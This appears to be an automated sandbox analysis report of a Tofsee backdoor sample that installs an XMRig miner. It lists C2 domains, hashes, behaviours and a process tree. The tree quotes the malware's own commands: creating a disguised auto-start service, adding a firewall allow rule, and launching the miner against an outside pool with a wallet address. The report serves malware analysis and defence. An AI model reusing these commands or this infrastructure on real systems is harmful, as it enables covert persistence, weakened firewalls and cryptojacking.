Analysis

  • max time kernel
    157s
  • max time network
    167s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/12/2022, 01:09

General

  • Target
    file.exe
  • Size 185KB
  • Sample221201-bht54abb85
  • SHA256 705f58a1c66c10b4dcb344f7a8ecdc943b687ea1c95e46142bdfd7d28a7de466
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3828
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vidusbyj\
      2⤵
        PID:4124
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xngebkrq.exe" C:\Windows\SysWOW64\vidusbyj\
        2⤵
          PID:536
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vidusbyj binPath= "C:\Windows\SysWOW64\vidusbyj\xngebkrq.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4428
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vidusbyj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3604
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vidusbyj
          2⤵
          • Launches sc.exe
          PID:3708
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:116
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3828 -s 1048
          2⤵
          • Program crash
          PID:1772
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3828 -ip 3828
        1⤵
          PID:4956
        • C:\Windows\SysWOW64\vidusbyj\xngebkrq.exe
          C:\Windows\SysWOW64\vidusbyj\xngebkrq.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3380
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:4272
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4044
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3380 -s 516
            2⤵
            • Program crash
            PID:4392
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3380 -ip 3380
          1⤵
            PID:2704

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                xngebkrq.exe

                • Path C:\Users\Admin\AppData\Local\Temp\xngebkrq.exe
                • Size 14.3MB
                • SHA256 3ba1ae72627ed638befbc62c3d40894c9a0c0ad7ea358156c3e74af86ee18f29
                • MD5 SHA1 SHA512 SSDEEP

                xngebkrq.exe

                • Path C:\Windows\SysWOW64\vidusbyj\xngebkrq.exe
                • Size 14.3MB
                • SHA256 3ba1ae72627ed638befbc62c3d40894c9a0c0ad7ea358156c3e74af86ee18f29
                • MD5 SHA1 SHA512 SSDEEP

                memory/3380-149-0x0000000000400000-0x0000000000464000-memory.dmp

                memory/3380-148-0x00000000004B9000-0x00000000004C9000-memory.dmp

                memory/3828-135-0x0000000000400000-0x0000000000464000-memory.dmp

                memory/3828-143-0x0000000000400000-0x0000000000464000-memory.dmp

                memory/3828-134-0x00000000006C0000-0x00000000006D3000-memory.dmp

                memory/3828-133-0x000000000072D000-0x000000000073D000-memory.dmp

                memory/4044-176-0x0000000000D10000-0x0000000000E01000-memory.dmp

                memory/4044-171-0x0000000000D10000-0x0000000000E01000-memory.dmp

                memory/4272-152-0x0000000002400000-0x000000000260F000-memory.dmp

                memory/4272-151-0x0000000000520000-0x0000000000535000-memory.dmp

                memory/4272-150-0x0000000000520000-0x0000000000535000-memory.dmp

                memory/4272-155-0x0000000001BA0000-0x0000000001BA6000-memory.dmp

                memory/4272-158-0x0000000001BB0000-0x0000000001BC0000-memory.dmp

                memory/4272-161-0x00000000027D0000-0x00000000027D5000-memory.dmp

                memory/4272-164-0x0000000007300000-0x000000000770B000-memory.dmp

                memory/4272-167-0x0000000007E50000-0x0000000007E57000-memory.dmp

                memory/4272-145-0x0000000000520000-0x0000000000535000-memory.dmp